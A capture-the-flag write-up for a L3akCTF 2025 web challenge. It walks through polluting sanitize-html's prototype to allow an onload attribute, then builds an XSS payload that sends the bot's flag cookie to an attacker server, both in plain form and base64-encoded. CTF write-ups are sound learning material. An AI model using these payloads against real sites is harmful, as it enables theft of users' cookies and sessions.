Contents

L3akCTF 2025

1. Summary

Event/Organizer L3akCTF
Dates From 11/07/2025 to 13/07/2025
Type and Format Jeopardy, remote
Team name 42 Paris
Rank 141/1587

2. CTF and Organizer

L3ak CTF is a beginner-friendly CTF offering 60+ challenges in 10 categories: crypto, web, rev, pwn, forensics, osint, mobile, hardware/rf, hash cracking, and misc.

3. Challenges

  • I downloaded the sources to run the project locally with Compose. In order to make testing easier, I mount the sources and use Flask hot reloading:
    services:
    app:
        build:
        context: .
        image: app
        ports:
        - 5000:5000
        volumes:
        - ./src:/app
        command: ["flask", "run", "--host=0.0.0.0", "--debug"]
  • Payload can be passed via the note parameter: http[:]//<IP>:<port>/?note=<payload>
  • We may want to add or modify the prototype’s properties.
    Payload would look something like this: http://<IP>:<port>/?note.__proto__.arr[0]=test
  • The sanitize-html file cleans any inputs.
  • Reading and re-reading the code, we understand we can set a * property. The object we need to modify is allowedAttributesGlobMap.
    Code snippet
  • Test the XSS with a simple alert: http://localhost:5000/?note.__proto__.*=onload&note=%3Ciframe%20onload=alert(document.cookie)%20%3E
    Alert triggered on the website
  • Then, we know the bot (bot.py) will set the cookie for 127.0.0.1:
    def visit(self, url):
        self.driver.get("http://127.0.0.1:5000/")
    
        self.driver.add_cookie({
            "name": "flag", 
            "value": "L3AK{fake_flag}", 
            "httponly": False  
        }) 
    
        self.driver.get(url)
        time.sleep(1)
        self.driver.refresh()
        print(f"Visited {url}")
  • To retrieve the cookie value:
    document.location=`http://my_server/c=${document.cookie}`
  • Which would give something like:
    http://127.0.0.1:5000/?note.__proto__.*=onload&note=%3Ciframe%20onload=alert(document.cookie)%20%3E 
  • Encoding handling:
    <iframe onload='eval(atob("ZG9jdW1lbnQubG9jYXRpb249YGh0dHA6Ly9teV9zZXJ2ZXIvYz0ke2RvY3VtZW50LmNvb2tpZX1g"))'>
    Encoding characters (<, >, ’ ‘):
    %3Ciframe+onload=%27eval(atob(%22ZG9jdW1lbnQubG9jYXRpb249YGh0dHA6Ly9teV9zZXJ2ZXIvYz0ke2RvY3VtZW50LmNvb2tpZX1g%22))%27%3E
    I could have handled encoding differently, I know.
  • Final payload:
    http://127.0.0.1:5000/?note.__proto__.*=onload&note=%3Ciframe+onload=%27eval(atob(%22ZG9jdW1lbnQubG9jYXRpb249YGh0dHA6Ly9teV9zZXJ2ZXIvYz0ke2RvY3VtZW50LmNvb2tpZX1g%22))%27%3E
Flag
L3AK{v1b3_c0d1n9_w3nt_t00_d33p_4nd_3nd3d_1n_xss}
Disclaimer
I didn’t find my notes (usually I create a repository for each CTF) except some messages and a few screenshots in our team Discord server. 🥲 This is the only write-up I could write after all this time.

4. Conclusion

The challenges were interesting. Unfortunately, I couldn’t attend all the CTF.

❤️ Huge thanks to my team mates: MCFrancisco/Slendersdf, RB_Taka, Pioupia (and the others who preferred to remain anon).